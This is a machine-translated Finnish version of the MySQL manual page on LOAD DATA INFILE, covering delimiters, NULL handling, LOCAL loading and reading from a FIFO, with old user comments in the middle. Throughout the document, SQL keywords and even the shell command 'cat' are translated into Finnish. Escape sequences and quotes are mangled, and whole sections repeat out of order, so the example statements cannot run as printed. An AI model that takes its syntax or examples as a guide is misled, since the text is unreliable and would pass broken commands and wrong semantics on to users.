  • Oletusarvoissa FIELDS ja LINES NULL kirjoitetaan muodossa \N ulostulolle ja \N lukee NULL syötteelle (olettaen, että ESCAPED BY -merkki on `\").
  • Jos FIELDS ENCLOSED BY ei ole tyhjä, kenttä, jonka arvo on NULL-kirjainsana, luetaan arvoksi NULL (toisin kuin merkkien FIELDS ENCLOSED BY välissä oleva sana NULL, joka luetaan merkkijonona "NULL").
  • Jos FIELDS ESCAPED BY on tyhjä, kirjoitetaan NULL sanaksi NULL .
  • Kiinteässä merkkijonomuodossa (mikä tapahtuu, jos sekä FIELDS TERMINATED BY että FIELDS ENCLOSED BY -määritykset ovat tyhjiä), NULL kirjoitetaan tyhjäksi merkkijonoksi. Huomaa, että tämä aiheuttaa NULL-arvon ja tyhjän merkkijonon tietyssä taulukossa, etteivät ne eroteta tiedostoon kirjoitettaessa, koska molemmat kirjoitetaan tyhjinä merkkijonoina. Jos haluat näiden arvojen olevan erilaisia, kun tiedosto luetaan takaisin, älä käytä kiinteän rivin muotoa.

Joitakin tapauksia, joita LOAD DATA INFILE -käsky ei tue:

  • Kiinteän kokoiset rivit (FIELDS TERMINATE BY ja FIELDS ENCLOSED BY ovat molemmat tyhjiä) ja BLOB- tai TEXT-sarakkeet.
  • Jos määritetään erotin, joka on sama kuin toisen tai sen etuliite, LOAD DATA INFILE ei pysty tulkitsemaan syötettä oikein. Esimerkiksi seuraava FIELDS-käsky aiheuttaisi ongelmia: KENTÄT PÄÄTTÄVÄT """ TÄYTYY """
  • Jos FIELDS ESCAPED BY -vaihtoehto on tyhjä, kentän arvossa olevan FIELDS ENCLOSED BY- tai LINES TERMINATED BY -merkin esiintyminen, jota seuraa FIELDS TERMINATED BY -merkki, LOAD DATA INFILE -komento lopettaa kentän tai rivin lukemisen ennenaikaisesti. Tämä johtuu siitä, että LOAD DATA INFILE ei voi määrittää oikein, mihin kenttä tai rivi päättyy.

Seuraava esimerkki lataa kaikki henkilötietotaulukon sarakkeet:

Mysql> LATAA TIEDOT INFILE "persondata.txt" TABLE persondata;

Kenttien luetteloa ei ole määritetty, joten LOAD DATA INFILE -komento odottaa syöttörivien täyttävän taulukon jokaisen sarakkeen. Tämä käyttää oletusarvoja FIELDS ja LINES.

Jos haluat ladata vain osan taulukon sarakkeista, sinun on määritettävä sarakkeiden luettelo:

Mysql> LATAA TIEDOT INFILE "persondata.txt" TABLE henkilötiedot (sarake1,sara2,...);

Kenttien luettelo on määritettävä myös tapauksissa, joissa syöttötiedoston kenttien järjestys poikkeaa tämän taulukon sarakkeiden järjestyksestä. Muuten MySQL ei pysty vastaamaan syöttökenttiä ja taulukon sarakkeita.

Jos rivillä on liian vähän kenttiä, sarakkeet, joissa ei ole kenttiä syöttötiedostossa, asetetaan oletusarvoihinsa. Oletusarvojen määrittäminen on kuvattu osiossa 6.5.3 CREATE TABLE Lausekkeen syntaksi.

Tyhjän kentän arvo tulkitaan eri tavalla kuin ei arvoa:

  • Merkkijonotyypeille sarake asetetaan tyhjäksi merkkijonoksi.
  • Numeerisissa tyypeissä sarakkeen arvo on 0.
  • Päivämäärä- ja kellonaikatyypeille sarake asetetaan vastaavaan arvoon ``null''. Katso kohta 6.2.2 Päivämäärä- ja aikatietotyypit.

Huomaa, että nämä ovat samoja arvoja, jotka päätyisivät sarakkeeseen, jos INSERT- tai UPDATE-komennon merkkijono-, numero- tai päivämäärä-/aikasarakkeisiin nimenomaisesti määritetään tyhjä merkkijono.

TIMESTAMP-tyypin sarakkeet asetetaan vain nykyiseen päivämäärään tai kellonaikaan, jos sarakkeen arvo on NULL tai (vain ensimmäiselle TIMESTAMP-sarakkeelle), jos TIMESTAMP-sarake on kenttäluettelon ulkopuolella, jos sellainen luettelo on määritetty.

Jos syötemerkkijonossa on liian monta kenttää, ylimääräiset kentät ohitetaan ja varoitusten määrä kasvaa.

LOAD DATA INFILE -komento tulkitsee kaikki syötteet merkkijonoiksi, joten et voi määrittää numeerisia arvoja ENUM- tai SET-sarakkeille samalla tavalla kuin INSERT-komentoille. Kaikki ENUM- ja SET-arvot on määritettävä merkkijonoina!

Kun käytät C-sovellusliittymää, voit saada kyselytiedot kutsumalla mysql_info() API-funktiota kyselyn lopussa LOAD DATA INFILE . Tämän tapauksen tietorivin muoto näkyy alla:

Tietueet: 1 Poistettu: 0 Ohitettu: 0 Varoitukset: 0

Varoitukset annetaan samoissa olosuhteissa kuin kirjoitettaessa arvoja INSERT-komennolla (katso kohta 6.4.3 INSERT-lausekkeen syntaksi), paitsi että LOAD DATA INFILE -komento luo lisäksi varoituksia, kun syöttömerkkijonossa on liian vähän tai liian monta kenttää. Varoituksia ei tallenneta missään; Varoitusten lukumäärää voidaan käyttää vain sen tarkistamiseen, onko määritetyt toimet suoritettu normaalisti. Jos haluat tietää tarkalleen, mikä aiheutti varoitukset, SELECT ... INTO OUTFILE -komento toisessa tiedostossa ja tuloksen vertaaminen alkuperäiseen syöttötiedostoon on ainoa tapa saada tiedot.

Jos sinun on tehtävä LOAD DATA lukeaksesi putkesta, voit käyttää seuraavaa temppua:

Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "LATAA TIEDOSTO "x" TAULUKONEEN x" x

Käytettäessä MySQL-versiota, joka on vanhempi kuin 3.23.25, yllä oleva voidaan tehdä vain LOAD DATA LOCAL INFILE -toiminnolla.

Lisätietoja INSERT:n tehokkuudesta verrattuna LOAD DATA INFILE:hen ja LOAD DATA INFILE:n nopeuden lisäykseen on kohdassa 5.2.9 INSERT-kyselyiden nopeus.

Käyttäjien kommentit

Lähettäjä Jason Titus[Poista] [Muokkaa]

"Varoituksia ei tallenneta mihinkään, varoitusten määrää voidaan käyttää vain
osoitus jos kaikki meni hyvin"

Et voi olla tosissasi. Onko tämä tehty jonkinlaisena DBA-rangaistuksena? eli -Me
TIEDÄ, mitkä ongelmat olivat, mutta sinun on vain rakennettava tulostetiedosto ja katsottava sen läpi
miljoonia tietueitasi löytääksesi ne." Eikö MySQL aiemmin laittanut nämä virhelokiin,
minne ne kuuluvat? Mene eteenpäin ja tee siitä vaihtoehto, mutta tämä on tarpeeksi vaivaa
vaihdan takaisin Oracleen (ja se vie paljon).

Lähettäjä campbell perjantaina 17. toukokuuta 2002, kello 6.24[Poista] [Muokkaa]

Toiseksi se. (!) En ymmärrä miten sinä
kirjoita se lause suoralla kasvoilla.

Lähettäjä Jonathon Padfield perjantaina 17. toukokuuta 2002, kello 6.24[Poista] [Muokkaa]

Ei myöskään ole tietoa siitä, mitkä rivit ohitetaan
on annettu.

Lähettäjä perjantaina 17. toukokuuta 2002, kello 6.24[Poista] [Muokkaa]

Tämä ominaisuus on erittäin hyödyllinen lähetettäessä
INSERT verkkosivulta. Jos käyttäjä osuu
päivittää ja lähettää uudelleen lomaketiedot, jotka johtavat a
myöhempi INSERT samalle ensisijaiselle avaimelle,
buumi, sovellus hajoaa. Tällä tavalla käyttäjä voisi
paina F5, kunnes heidän kasvonsa muuttuvat siniseksi, ja he
ei riko REPLACE-lausetta.

[Poista] [Muokkaa]

Minulla on MyDB-kansio kohdassa c:\mysql\data
Laitan sinne Data.txt-tiedoston ja kun suoritan
LATAA TIEDOT PAIKALLINEN INFILE "Data.txt" TAULUKONEEN
MyTable sanoo: Komento on suoritettu onnistuneesti
mutta MITÄÄN arvoja ei lisätä MyTable-taulukkoon.
Olen alle W2K

Lähettäjä van hoof Philip perjantaina 17. toukokuuta 2002, kello 6.24[Poista] [Muokkaa]

Haluan synkronoida tietokantani toisen kanssa
tietokanta aika ajoin. Tämä tarkoittaa, että minä
täytyy käyttää REPLACE-asiaa. Entä
levyjä, joita ei ole enää olemassa uudemmissa
tietokanta. Poistetaanko ne MySQL:stä?
Onko mitään tapaa poistaa näitä automaattisesti? Vai onko
ainoa ratkaisu pudottaa MySQL-taulukko ja luoda uudelleen
ennen kuin aloitan LATAA sen. Käytän crontabia
tämän toiminnon komentosarjat, jotta ihmisten välinen vuorovaikutus ei ole mahdollista
on mahdollista näiden toimintojen aikana.

Lähettäjä perjantaina 17. toukokuuta 2002, kello 6.24[Poista] [Muokkaa]

Asiakirjoista on epäselvää, mitä
muodostaa "ainutlaatuisen" avaimen/indeksin tällä alueella. Se
Takaisinviittaukset "lisää", mutta lisää ei
on tällainen rajoitus. Löysin sen ensisijaisen
avaimet ovat riittävän ainutlaatuisia, mutta minun on täytynyt lisätä
esivaaleissa, joissa en niitä halunnut. Ehkä olen
Puuttuuko jotain....

Lähettäjä perjantaina 17. toukokuuta 2002, kello 6.24[Poista] [Muokkaa]

On erittäin turhauttavaa saada varoituksia, kun sellainen on
tuoda tietoja MySQL-tietokantaan eikä olla
päästä käsiksi kaikkiin varoituksiin liittyviin tietoihin.
MySQL:n on todella lisättävä ominaisuus, joka tekee sen
kerro, mistä varoituksesta on kyse, sen sijaan, että se merkitsee vain
ilmoita varoituksesta. Ihannetapauksessa tiedot
varoitus on annettava välittömästi. klo
ainakin jonkinlaisen virhelokin pitäisi olla
luotu, jota käyttäjä voi käyttää.

Lähettäjä perjantaina 17. toukokuuta 2002, kello 6.24[Poista] [Muokkaa]

"F5, kunnes heidän kasvonsa muuttuvat siniseksi" -kohdassa...

Tämä tulee käsitellä hakemuksessa. Se
ei tietenkään haittaa kertoa käyttäjälle "Sinä olet".
tuli jo tähän. Ole hyvä ja lopeta päivittäminen."

Itse asiassa, koska määrä ylikärsimättömyys lopussa
lusers siellä, tämä näyttää erityisen
hyvä idea.

Lähettäjä Larry Irwin tiistaina 20. elokuuta 2002, klo 11.50[Poista] [Muokkaa]

Olisi erittäin hyödyllistä saada lisävaihtoehto
kohtaan "OHITA RAJOITUKSET" latauksen aikana
käsitellä asiaa.

Lähettäjä torstaina 5. syyskuuta 2002, 01:34[Poista] [Muokkaa]

On saalis "tyhjällä MyISAM-pöydällä, kaikki
ei-yksilölliset indeksit luodaan erillisessä erässä"
koska käytetty mekanismi on "korjaus
keycache", joka voi olla hyvin hidas, jos niitä on useita
indeksit. Mekanismia on todellakin käytettävä
lopeta avainten luominen ja suorita sitten korjaus
myisamchk käyttämällä "korjaa lajittelulla" kohdassa kuvatulla tavalla
kohta 5.2.9 (jos saat sen toimimaan:-()

Lähettäjä keskiviikkona 9. lokakuuta 2002, kello 12.43[

Syntaksi LOAD DATA INFILE

LATAA TIEDOT INFILE " Tiedoston nimi. txt" TABLE taulukon_nimi
[LIITTÄJÄ "]
]
]
[(sarakkeen_nimi,...)]
LOAD DATA INFILE -käsky lukee rivit tekstitiedostosta ja lataa ne taulukkoon erittäin suurella nopeudella.
Voit myös ladata datatiedostoja mysql-tuontityökalulla. Se toimii lähettämällä LOAD data INFILE -käskyn palvelimelle. Valitsin --local saa mysqlimport-apuohjelman lukemaan datatiedoston asiakaskoneesta. Voit määrittää -compress-vaihtoehdon parantaaksesi suorituskykyä hitaissa verkoissa, jos asiakas ja palvelin tukevat pakattua protokollaa.
Jos LOW_PRIORITY-avainsana on määritetty, LOAD DATA -käskyn suoritus viivästyy, kunnes kaikki muut asiakkaat ovat lukeneet.
Jos CONCURRENT-avainsana on määritetty MyISAM-taulukon kanssa, joka täyttää samanaikaisen lisäyksen ehdon (eli siinä ei ole vapaita lohkoja tiedoston keskellä), muut säikeet voivat hakea tietoja taulukosta samaan aikaan, kun LOAD DATA suoritetaan. Tämän vaihtoehdon käyttäminen vaikuttaa hieman LOAD DATA -toimintoon, vaikka taulukossa ei olisikaan käynnissä muita säiettä.
Jos LOCAL-avainsana on määritetty, se vaikuttaa yhteyden asiakaspuolelle.

  1. Jos LOCAL on määritetty, asiakasohjelma lukee tiedoston asiakaspalvelimella ja lähettää sen palvelimelle.
  2. Jos LOCAL-asetusta ei ole määritetty, ladattavan tiedoston on sijaittava palvelinisännässä, ja palvelin lukee sen suoraan.

LOCAL on saatavilla MySQL 3.22.6:ssa ja uudemmissa.
Turvallisuussyistä palvelimella sijaitsevia tekstitiedostoja luettaessa tiedostojen tulee joko sijaita tietohakemistossa tai olla kaikkien luettavissa. Lisäksi, jotta voit käyttää LOAD DATA:ta palvelintiedostojen kanssa, sinulla on oltava FILE-oikeudet.
Lataaminen LOCAL-vaihtoehdolla on hieman hitaampaa kuin jos annat palvelimelle mahdollisuuden päästä suoraan ladattuihin tiedostoihin, koska tällöin tiedostojen sisältö siirretään verkon yli asiakas-palvelin-yhteyden kautta. Toisaalta tässä tapauksessa et tarvitse FILE-oikeuksia.
Koska MySQL 3.23.49 ja MySQL 4.0.2 (4.0.13 Windowsissa), LOCAL toimii vain, jos sekä asiakas että palvelin sallivat sen. Jos esimerkiksi mysqld käynnistetään vaihtoehdolla -local-inf ile=0, LOCAL ei toimi.

Jos sinun on luettava ohjelmaputkesta LOAD DATA -toiminnolla, voit käyttää seuraavaa tekniikkaa:
mkfifo /mysql/db/x/x
chmod 666 /mysql/db/x/x
kissa< /dev/tcp/10.1.1.12/4711 >/mysql/db/x/x
mysql -e "LATAA TIEDOT TIEDOSTO "x1 TABLE x" x
Jos käytät MySQL-versiota, joka on vanhempi kuin 3.23.25, tätä tekniikkaa voidaan käyttää vain LOAD DATA LOCAL INFILE -sovelluksen kanssa.
Jos sinulla on MySQL-versio vanhempi kuin 3.23.24, et voi lukea FIFO:sta LOAD DATA INFILE -käskyn avulla. Jos haluat lukea FIFO:sta (esim. gunzip-lähdöstä), käytä sen sijaan LOAD DATA LOCAL INFILE.
Etsiessään tiedostoa tiedostojärjestelmästään palvelinta ohjaavat seuraavat säännöt:

  1. Jos absoluuttinen polku on annettu, palvelin käyttää sitä sellaisenaan.
  2. Jos määritetään suhteellinen polku, jossa on yksi tai useampi johtava komponentti, palvelin etsii tiedostoja suhteessa tietohakemistoonsa.
  3. Jos määritetään tiedostonimi ilman alkupolun komponentteja, palvelin etsii tiedostoa oletustietokannan tietohakemistosta.

Huomaa, että nämä säännöt tarkoittavat, että tiedosto nimeltä ./omatiedosto.txt luetaan palvelimen tietohakemistosta, kun taas tiedosto nimeltä myfile,txt luetaan oletustietokannan tietohakemistosta. Esimerkiksi seuraava LOAD DATA INFILE -käsky lukee data.txt-tiedoston dbl:n tietohakemistosta, koska dbl on nykyinen tietokanta, vaikka käsky lataa tietoja db2:een:
mysql>KÄYTÄ dbl;
mysql> LATAA TIEDOT INFILE "data.txt" TABLE db2.my_table;
REPLACE- ja IGNORE-avainsanojen ohjaus toimii syötemerkkijonojen kanssa, jotka kopioivat olemassa olevia yksilöllisiä avaimia arvoltaan.
Jos REPLACE on määritetty, syöttörivit korvaavat olemassa olevat rivit (toisin sanoen rivit, joilla on samat ensisijaiset tai yksilölliset avaimen arvot kuin taulukon olemassa olevilla riveillä). Katso REPLACE Syntaksi
Jos OHITA on määritetty, syöttörivit, jotka ovat olemassa olevien rivien kaksoiskappaleita, joilla on samat ensisijaiset tai yksilölliset avaimen arvot, ohitetaan. Jos kumpaakaan vaihtoehtoa ei ole määritetty, toiminta riippuu siitä, onko paikallinen avainsana määritetty. Jos LOCAL ei ole läsnä, jos avaimen kaksoiskappale havaitaan, syntyy virhe ja muu tekstitiedosto jätetään huomioimatta. Jos LOCAL on olemassa, oletustoiminto on sama kuin jos OHITTA olisi määritetty. Tämä johtuu siitä, että palvelin ei pysty pysäyttämään tiedostonsiirtoa toiminnon ollessa käynnissä.
Jos haluat jättää huomioimatta vieraiden avainten rajoitukset tietojen lataustoiminnon aikana, voit antaa SET FOREIGN_KEY_CHECKS=0 -käskyn ennen LOAD DATA:n suorittamista.
Jos suoritat LOAD DATA tyhjässä MyISAM-taulukossa, kaikki ei-yksilölliset indeksit luodaan erilliseen työhön (kuten KORJAUSTAULUKKO). Tämä johtaa yleensä siihen, että LOAD DATA on paljon nopeampi, kun indeksejä on useita. Yleensä tämä toimii hyvin nopeasti, mutta joissain erikoistapauksissa voit luoda indeksejä jopa nopeammin poistamalla ne käytöstä ALTER TABLE...DISABLE KEYS -toiminnolla ennen lataamista.

tiedosto taulukkoon luomalla hakemistot uudelleen ja ottamalla ne käyttöön käyttämällä ALTER TABLE... KÄYTÖSSÄ KÄYTTÖÄ näppäimet, kun lataus on valmis.
LOAD DATA INFILE on lisäys kohtaan SELECT...INTO OUTFILE. Katso SELECT Syntaksi Jos haluat kirjoittaa tietoja taulukosta tiedostoon, käytä SELECT... INTO OUTFILE. Jos haluat lukea tiedot takaisin tiedostosta taulukkoon, käytä LOAD DATA INFILE -toimintoa. FIELDS- ja LINES-konstruktien syntaksi on sama molemmille lauseille. Molemmat konstruktit ovat valinnaisia, mutta kenttien on edeltävä LINES, jos molemmat on määritetty.
Jos FIELDS-konstrukti on määritetty, kaikki sen parametrit (TERMINATED BY, ENCLOSED BY ja ESCAPED BY) ovat myös valinnaisia, lukuun ottamatta vaatimusta, että vähintään yksi parametri on oltava läsnä.
Jos FIELDS-rakennetta ei ole määritetty, oletusarvo on:
KENTÄT, JOTKA PÄÄTTÄVÄT "tf" ON JOHTAMAAN " ESCAPED BY"
Jos LINES-rakennetta ei ole määritetty, oletus on tämä:
RIVIT, JOTKA PÄÄTTEE "n! ALKAA "
Toisin sanoen LOAD DATA INFILE -toiminnon oletuskäyttäytyminen syötettä luettaessa on:

  1. Etsi rivien erottimia rivien alusta.
  2. Älä jätä pois mitään rivien etuliitteitä.
  3. Jaa rivi kenttiin sarkainmerkkien perusteella.
  4. Älä odota, että kenttiä lainataan.
  5. Tulkitse sarkainmerkin, rivinvaihdon tai "\"-merkin, jota edeltää \, esiintyminen kirjaimellisina merkeinä, jotka ovat osa kentän arvoa.

Kääntäen, SELECT... INTO OUTFILE toimii oletusarvoisesti näin:

  1. Kirjoittaa sarkainmerkkejä kenttien väliin.
  2. Ei ympäröi kenttäarvoja lainausmerkeillä.
  • Korostaa kenttien arvoissa esiintyviä sarkaimia, rivinvaihtoja tai "\"-merkkiä.
  • Kirjoittaa rivinvaihdon rivin loppuun.
Huomaa, että kirjoittaminen FIELDS ESCAPED BY "W" edellyttää, että määrität kaksi kenoviivaa arvoille, jotka vaativat yhden kenoviivan lukemiseen.
Huomioon!
Jos loit tekstitiedoston Windows-järjestelmässä, sinun on ehkä määritettävä LINES TERMINATED BY "rn, jotta tiedosto voidaan lukea oikein, koska Windows-ohjelmat käyttävät yleensä näitä kahta merkkiä rivierottimena. Jotkut ohjelmat, kuten WordPad, voivat käyttää merkkiä " r" rivierottimena. Jos haluat lukea tällaisia ​​tiedostoja, käytä LINES LOPETTAA "r":llä.
Jos kaikilla lukemasi tiedoston riveillä on yhteinen etuliite, jonka haluat ohittaa, käytä LINES STARTING BY " merkkijonon_etuliitteet ohittaaksesi tämän etuliitteen. Jos rivi ei sisällä etuliitettä, se ohitetaan kokonaan.

OHITA vaihtoehto määrä LINES-toimintoa käytetään ohittamaan tietty määrä rivejä tiedoston alussa. Voit esimerkiksi ohittaa sarakkeiden nimet sisältävän aloitusrivin käyttämällä OHITA I RIVIÄ:
mysql> LOAD DATA INFILE "/tmp/test.txt" -> TABLE -testi OHITTAA 1 RIVIÄ;
Kun käytät SELECT... INTO OUTFILE-komentoa yhdessä LOAD DATA INFILE -toiminnon kanssa tietojen kirjoittamiseen tietokannasta tiedostoon ja sen lukemiseen ja lataamiseen takaisin tietokantaan, molempien käskyjen rivien ja kenttien hallintavaihtoehtojen on oltava samat. Muuten LOAD DATA INFILE ei pysty tulkitsemaan tekstitiedoston sisältöä oikein. Oletetaan, että käytit SELECT...INTO OUTFILE tietojen tulostamiseen tekstitiedostoon erottamalla kentät pilkuilla:
mysql> VALITSE* INTO OUTFILE "data.txt" -> KENTÄT, JOITA PÄÄTTEE"," -> FROM table2;
Jos haluat lukea pilkuilla erotetun tiedoston takaisin, oikea tapa tehdä tämä on:
mysql> LATAA TIEDOT INFILE "data.txt1 TABLE 2 -> KENTÄT, JOITA PÄÄTTEE
Jos yrität sen sijaan lukea sen alla olevalla käskyllä, se ei toimi, koska LOAD DATA INFILE etsii sarkainmerkkejä kentän arvojen välistä:
mysql> LATAA TIEDOT INFILE "data.txt" TAULUKKOON taulukko2 -> KENTÄT, JOTKA PÄÄTTEVÄT "t":llä;
Todennäköisin tulos on tulkita syötemerkkijono yhtenä kenttään.
LOAD DATA INFILE -toimintoa voidaan käyttää myös tiedostojen lukemiseen ulkoisista lähteistä. Esimerkiksi tiedostossa voi olla pilkuilla erotettuja ja lainausmerkeissä olevia kenttiä. Jos tiedoston rivit erotetaan rivinvaihtomerkillä, seuraava esimerkki havainnollistaa, mitkä rivin ja sarakkeen erottimen asetukset on asetettava tiedoston lataamiseksi:
mysql> LATAA DATA INFILE "data.txt" TAULUKKOONtaulukon_nimi-> KENTÄT, JOTKA PÄÄTTEE 1,1 JOHTAMAAN "" -> RIVOT, JOITA PÄÄTTEE"n";
Kaikki rivin ja sarakkeen erottimet määrittävät asetukset voivat ottaa tyhjiä merkkijonoja (") argumenteiksi. Jos argumentit eivät ole tyhjiä merkkijonoja, kenttien FIELDS ENCLOSED BY ja FIELDS ESCAPED BY arvojen on oltava samat. Argumentit kentälle FIELDS TERMINATETED OPTIONS BY , RIVIÄ ALKAVAT JA PÄÄTTEET RIVIT voivat olla useamman kuin yhden merkin pituisia. Jos esimerkiksi haluat kirjoittaa rivinvaihdoilla/rivinsiirroilla erotettuja rivejä tai lukea tällaisia ​​rivejä sisältäviä tiedostoja, määritä RIVIT, JOITA LOPETA ON "rn".
Voit lukea riveillä erotetun tiedoston, jossa on %% merkkiä, seuraavasti:
mysql> LUO PÖYTÄ vitsejä
-> (INT NOT NULL AUTO_INCREMENT PRIMARY KEY, -> vitsi TEKSTI EI NULL);

mysql> LATAA TIETOJEN INFILE "/tmp/jokes,txf TABLE-vitsiksi -> KENTÄT, JOTKA PÄÄTTEE "" -> RIVIT, JOITA PÄÄTTEE "\n%%\n" (vitsi);
FIELDS ENCLOSED BY ohjaa kentän erottimia (lainausmerkkejä). Jos jätät pois sanan VALINNAISESTI tulosteessa (SELECT... INTO OUTFILE), kaikki kentät ympäröidään kohdassa LIITETTY. Alla on esimerkki tällaisesta tulosteesta (käyttäen pilkkua kentän erottimena):
"1", "merkkijono", "100.20"
"2","merkkijono, joka sisältää , pilkun","102.20"
"3","merkkijono, joka sisältää \" lainauksen","102.20"
"4","merkkijono, joka sisältää \", lainausmerkin ja pilkun","102.20"
Jos määrität VALINNAISESTI, ENCLOSED BY -merkkiä käytetään vain lainaamaan CHAR- ja VARCHAR-kenttiä:
1"jono",100.20
3"merkkijono, joka sisältää \"lainauksen",102.20
4"merkkijono, jossa on \", lainaus ja pilkku",102.20
Huomaa, että ENCLOSED BY -kohdassa määritetyn merkin esiintymiä kentän arvossa edeltää ESCAPED BY -kohdassa määritetty merkki. Lisäksi, jos määrität tyhjän arvon kohtaan ESCAPED BY, on mahdollista, että luodaan tiedosto, jota LOAD DATA INFILE ei voi ladata oikein.
Jos esimerkiksi peruutusmerkki jätetään tyhjäksi, yllä oleva tulos näyttää alla. On helppo nähdä, että neljännen rivin toisessa kentässä on lainauksen jälkeen pilkku, joka näkyy (virheellisesti) kentän erottimena.
1"jono",100.20
2"merkkijono, joka sisältää pilkun",102.20
3,"merkkijono, joka sisältää " lainauksen",102.20
4,"merkkijono, joka sisältää ", lainauksen ja pilkun",102.20
Kun kirjoitat, mahdollinen LIITTYMÄ-symboli poistetaan kentän arvojen lopusta. (Tämä pätee riippumatta siitä, onko sana OPTIONALLY määritetty vai ei. Tällä sanalla ei ole vaikutusta syötteen tulkinnassa.) ENCLOSED BY -merkkien esiintyminen, jota edeltää ESCAPED BY -merkki, tulkitaan osaksi nykyisen kentän arvoa.
Jos kenttä alkaa ENCLOSED BY -merkillä, kyseisen merkin esiintymät tulkitaan päättäväksi kentän arvon vain, jos niitä seuraa TERMINATE BY -kenttä tai -sekvenssi. Epäselvyyden välttämiseksi, kun ENCLOSED BY -merkki esiintyy kentän arvossa, merkki voidaan monistaa, ja se tulkitaan yhdeksi merkin esiintymäksi. Jos esimerkiksi LISÄYS "" on määritetty, lainaukset käsitellään seuraavasti:
"""SUU""" pomo" -> ""SUU" pomo "BIG" pomo -> "BIG" pomo ""BIG"" pomo -> ""BIG"" pomo
FIELDS ESCAPED BY ohjaa erikoismerkkien lukemista tai kirjoittamista. Jos FIELDS ESCAPED BY -argumentti ei ole tyhjä, sitä käytetään tulosteen seuraavien merkkien etuliitteenä:

  1. KENTÄT KÄYTETTY symbolilla.
  2. KENTÄT LISÄTTY symbolilla.
  3. Ensimmäinen MERKKI sarjoista FIELDS TERMINATETED BY AND LINES TERMINATED BY.
  4. ASCII 0 (joka kirjoitetaan peruutusmerkin jälkeen ASCII "0":na nollatavun sijaan).

Jos FIELDS ESCAPED BY -merkki on tyhjä, mitään merkkejä ei edeltä erotusmerkkejä, ja NULL tulostetaan muodossa NULL eikä \N. Ei luultavasti ole hyvä idea jättää FIELDS ESCAPED BY -argumenttia tyhjäksi, varsinkin jos tietokentän arvot sisältävät jotakin mainituista merkeistä.
Syötettäessä, jos FIELDS ESCAPED BY ei ole tyhjä, tämän merkin ilmestyessä arvoriville se poistetaan ja seuraava merkki luetaan kirjaimellisesti osana kentän arvoa. Poikkeuksia ovat sekvenssit "0" tai "N" (SYS-PAGE-CONTENT tai \N, jos estomerkki on "\"). Nämä sekvenssit tulkitaan ASCII NUL (nollatavu) ja NULL vastaavasti. NULL:n käsittelysäännöt kuvataan myöhemmin tässä osiossa.
Lisätietoja "\" peruutussyntaksista löytyy osiosta Literaaliset arvot
Joissakin tapauksissa kenttiä ja rivejä ohjaavat asetukset ovat vuorovaikutuksessa keskenään:

  1. Jos riville LINES TERMINATED BY on määritetty tyhjä merkkijono ja FIELDS TERMINATED BY ei ole tyhjä, LINES TERMINATED BY on myös rivierotin.
  2. JOS SEKÄ KENTÄT PÄÄTTÄÄN JA KENTÄT, JOITA KENTÄT ovat tyhjiä, KÄYTETÄÄN kiinteää merkkijonomuotoa (ei erottimia). Tämä muoto ei käytä erottimia kenttien välillä (mutta siinä voi olla rivierotin). Sen sijaan sarakearvot kirjoitetaan ja luetaan käyttämällä sarakkeen näytön leveyttä. Jos sarake on esimerkiksi ilmoitettu INT(7), sarakkeen arvot kirjoitetaan seitsemän merkin kenttään. Kun sarakearvot syötetään, ne haetaan lukemalla seitsemän merkkiä.

LINES TERMINATED BY käytetään edelleen rivien erottamiseen. Jos rivi ei sisällä kaikkia kenttiä, muille sarakkeille määritetään oletusarvot. Jos sinulla ei ole rivin päätettä, sen arvoksi on asetettava 1". Tässä tapauksessa tekstitiedoston tulee sisältää kaikki kentät jokaisella rivillä. Kiinteän rivin mittainen muoto käsittelee myös NULL-arvojen käsittelyä kuvatulla tavalla Huomioi, että kiinteän pituisen muodon pituus ei toimi, jos käytetään monitavuista merkistöä (esimerkiksi Unicode).
NULL-arvojen käsittely vaihtelee käytetyistä FIELDS- ja LINES-vaihtoehdoista riippuen:

  1. Oletusarvoilla FIELDS ja LINES NULL kirjoitetaan kentän arvoksi muodossa \N ulostulolle ja sama \N arvo luetaan NULL-arvoksi syötteelle (olettaen, että ESCAPED BY -merkki on asetettu arvoon "\").
  2. Jos FIELDS ENCLOSED BY ei ole tyhjä, kirjaimellisen sanan NULL sisältävä kenttä luetaan NULL-arvoksi. Tämä eroaa tapauksesta, jossa sana NULL on erotettu FIELDS ENCLOSED BY -merkeillä, jolloin arvo luetaan merkkijonona "NULL".
  3. Jos FIELDS ESCAPED BY on tyhjä, NULL kirjoitetaan sanana NULL.
  • Kiinteän merkkijonon pituisessa muodossa (mikä tapahtuu, kun sekä FIELDS TERMINATED BY että FIELDS ENCLOSED BY ovat tyhjiä), NULL kirjoitetaan tyhjäksi merkkijonoksi. Huomaa, että tämä aiheuttaa sen, että taulukon NULL-arvot ja tyhjät rivit eivät ole erotettavissa tiedostoon kirjoitettaessa, koska molemmat kirjoittavat tyhjiä rivejä. Jos sinun on erotettava ne toisistaan, vältä kiinteän rivin pituuden käyttöä.
    Alla on joitain tapauksia, joita LOAD DATA INFILE ei tue:
    1. Korjattu LENGTH-rivit (FIELDS TERMINATED BY AND FIELDS ENCLOSED BY nyctye) TEXT- tai BLOB-sarakkeiden yhteydessä.
    2. Jos määrität erottimen, joka on sama kuin toisen etuliite, LOAD DATA INFILE ei ehkä tulkitse syöttövirtaa oikein. Esimerkiksi seuraava vaihtoehto aiheuttaa ongelmia:

    KENTÄT, JOTKA PÄÄTTÄVÄT "" SULJETTUIN ""

    • Jos FIELDS ESCAPED BY on tyhjä, kenttäarvot, jotka sisältävät merkkejä FIELDS ENCLOSED BY OR LINES LOPETTUJA RIVITÄ, joita seuraa RIVI LOPETTAA CHARACTER, LOAD DATA INFILE lopettaa tiedoston tai rivin lukemisen liian aikaisin. Tämä tapahtuu, koska LOAD DATA INFILE ei voi määrittää oikein, mihin kentän tai rivin arvo päättyy. Seuraava esimerkki lataa kaikki henkilötietotaulukon sarakkeet: mysql> LATAA TIEDOT INFILE "persondata.txt" TABLE henkilötietoihin;
      Ellei LOAD DATA INFILE -käskyn lopussa ole sarakeluetteloa, syöttörivin odotetaan sisältävän kentät taulukon jokaiselle sarakkeelle oletusarvoisesti. Jos haluat ladata vain osan taulukon sarakkeista, määritä sarakkeiden luettelo:
      mysql> LATAA TIETOJEN INFILE "persondata.txt1
      -> INTO TABLE henkilötiedot(sarake,sara2,...);
      Sinun on myös määritettävä sarakeluettelo, jos syöttötiedoston kenttien järjestys eroaa taulukon sarakkeiden järjestyksestä. Muuten MySQL ei pysty muodostamaan yhdistämistä syöttökenttien ja taulukon sarakkeiden välille.
      Jos syöttötiedostossa on liian vähän kenttiä riveissä, puuttuville sarakkeille annetaan oletusarvot. Oletusarvojen määrittäminen on kuvattu kohdassa CREATE TABLE Syntax
